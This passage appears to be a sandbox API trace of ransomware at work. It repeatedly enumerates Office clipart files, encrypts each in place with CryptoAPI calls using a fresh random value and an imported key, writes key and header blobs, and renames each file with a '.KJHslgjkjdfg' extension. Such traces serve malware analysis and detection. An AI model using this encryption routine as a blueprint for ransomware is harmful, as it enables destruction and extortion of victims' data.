hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.kjhslgjkjdfg")) returned 1 [0239.075] CloseHandle (hObject=0x130) returned 1 [0239.075] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00941_.WMF", cAlternateFileName="")) returned 1 [0239.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.076] GetProcessHeap () returned 0x2ef0000 [0239.076] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.076] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.076] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.080] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.080] GetProcessHeap () returned 0x2ef0000 [0239.080] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.080] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.080] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.080] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.080] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.080] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.081] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1708, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1708, lpOverlapped=0x0) returned 1 [0239.082] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1710, dwBufLen=0x1710 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1710) returned 1 [0239.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.082] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1710, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1710, lpOverlapped=0x0) returned 1 [0239.082] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.082] SetEndOfFile (hFile=0x130) returned 1 [0239.089] GetProcessHeap () returned 0x2ef0000 [0239.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.090] GetProcessHeap () returned 0x2ef0000 [0239.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.kjhslgjkjdfg")) returned 1 [0239.091] CloseHandle (hObject=0x130) returned 1 [0239.092] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00942_.WMF", cAlternateFileName="")) returned 1 [0239.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.093] GetProcessHeap () returned 0x2ef0000 [0239.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.093] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.093] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0239.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.095] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.095] GetProcessHeap () returned 0x2ef0000 [0239.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.095] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.095] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.095] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.096] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.096] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1264, lpOverlapped=0x0) returned 1 [0239.097] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270, dwBufLen=0x1270 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270) returned 1 [0239.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.097] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1270, lpOverlapped=0x0) returned 1 [0239.097] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.097] SetEndOfFile (hFile=0x130) returned 1 [0239.100] GetProcessHeap () returned 0x2ef0000 [0239.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.100] GetProcessHeap () returned 0x2ef0000 [0239.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.kjhslgjkjdfg")) returned 1 [0239.101] CloseHandle (hObject=0x130) returned 1 [0239.102] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00943_.WMF", cAlternateFileName="")) returned 1 [0239.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.103] GetProcessHeap () returned 0x2ef0000 [0239.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.104] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.104] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0239.112] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.112] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.112] GetProcessHeap () returned 0x2ef0000 [0239.112] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.112] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.112] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.112] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.112] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.112] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.112] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.112] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.112] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.113] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d84, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d84, lpOverlapped=0x0) returned 1 [0239.136] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d90) returned 1 [0239.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.136] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d90, lpOverlapped=0x0) returned 1 [0239.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.136] SetEndOfFile (hFile=0x130) returned 1 [0239.139] GetProcessHeap () returned 0x2ef0000 [0239.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.139] GetProcessHeap () returned 0x2ef0000 [0239.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.kjhslgjkjdfg")) returned 1 [0239.141] CloseHandle (hObject=0x130) returned 1 [0239.141] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5505900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5505900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0xae1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01044_.WMF", cAlternateFileName="")) returned 1 [0239.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.143] GetProcessHeap () returned 0x2ef0000 [0239.143] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.143] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.143] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0239.145] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.145] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.145] GetProcessHeap () returned 0x2ef0000 [0239.145] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.145] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.145] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.145] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.145] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.146] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.146] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.146] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.146] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.146] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.146] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xae1a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xae1a, lpOverlapped=0x0) returned 1 [0239.147] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xae20, dwBufLen=0xae20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xae20) returned 1 [0239.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.148] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xae20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xae20, lpOverlapped=0x0) returned 1 [0239.148] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.148] SetEndOfFile (hFile=0x130) returned 1 [0239.151] GetProcessHeap () returned 0x2ef0000 [0239.151] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.151] GetProcessHeap () returned 0x2ef0000 [0239.151] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.kjhslgjkjdfg")) returned 1 [0239.153] CloseHandle (hObject=0x130) returned 1 [0239.153] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98336a00, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98336a00, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x5b38, 